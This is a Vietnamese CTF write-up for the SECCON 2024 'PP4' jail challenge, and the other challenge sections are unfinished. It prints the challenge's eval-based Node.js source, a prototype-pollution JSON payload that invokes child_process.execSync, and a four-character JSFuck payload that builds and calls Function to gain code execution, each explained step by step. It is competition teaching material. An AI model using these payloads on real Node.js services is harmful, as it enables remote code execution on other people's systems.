Post

SECCON 2024

Jail: PP4

1
2
3
4
Let's enjoy the polluted programming💥

nc pp4.seccon.games 5000
pp4.tar.gz 5efe669fba98d1d52413679cbf955de8da616322
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());

Cách làm bài này được comment khá rõ ràng ngay trong source, trước tiên ta phải prototype pollution sau đó là JSFuck với 4 ký tự.

Để call function thì ta cần 2 ký tự “(“ và “)” nên 2 ký tự còn lại chắc chắn là “[” và “]”

Vậy từ “[”, “]” làm sao để tạo được function để eval trigger nó ?

Ta có thể tạo một anonymous function như thế này Function("console.log(1)")() Vậy bằng cách nào đó ta phải từ [ và ] lấy được 2 thứ Functionconsole.log(1).

Để làm được ta có thể làm như sau:

  • Đầu tiên pollute prototype của Object với __proto__ như sau
1
2
3
4
5
6
{
    "__proto__": {
        "": "constructor",
        "undefined": "console.log(process.mainModule.require('child_process').execSync('echo pwd').toString())"
    }
}
  • Về lý do thì mình giải thích sau và tiếp tục là payload
1
[][[][[]]][[][[]]]([][([][[][[]]][[][[]]]()())])()

alt text

Ok, vậy là xong nó đã in ra pwd có nghĩa là đã RCE được

Giải thích:

  • Sau khi pollution prototype của Object xong thì hiện tại nếu ta truy cập đế Object[""] thì nó sẽ trả về 'constructor', Object.undefined ( hoặc Object["undefined"]) sẽ trả về console.log(process.mainModule.require('child_process').execSync('echo pwd').toString()), ta có thể dựa vào cách Array trong Javascript hoạt động để gọi ra những thứ này

  • Đầu tiên []-> Array rỗng, [][[]]->Array[[]], trong Javascript, tất cả key đều bị ép về string nên nếu [] là key của một Object thì nó sẽ trả về “” -> Array[""] -> Lúc này JS sẽ tiến hành kiếm key ""(string rỗng) trong Array, lúc này do chúng ta đã pollute prototype của Object nên Array sẽ kế thừa thuộc tính này và trả về constructor vậy là ta đã có được chữ constructor
  • Dựa vào đây constructor ta có thể lấy được Function bằng cách [].constructor.constructor -> [][[][[]]][[][[]]]. Sau khi có được Function ta có thể lấy undefined bằng cách tạo 1 anonymous function không có giá trị trả về nó sẽ tự động trả về undefined

alt text

  • Từ undefined ta tương tự ta có thể lấy được console.log(process.mainModule.require('child_process').execSync('echo pwd').toString()) bằng cách [][[][[][[]]][[][[]]]()()] -> Array[“undefined”] -> console.log(process.mainModule.require('child_process').execSync('echo pwd').toString())

  • Vậy ta đã có đủ thứ để tạo một function mới ta có thể tạo một Function và call nó bằng cách sau

    1
    
    Function("console.log(1)")()
    

    dựa vào đó -> [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])() Nó sẽ tạo thành Function như thế này

alt text

Vậy là RCE thành công

Web: Trillion Bank

Updating…

Web: self-ssrf

Updating…

Web: Tanuki Udon

Updating…

This post is licensed under CC BY 4.0 by the author.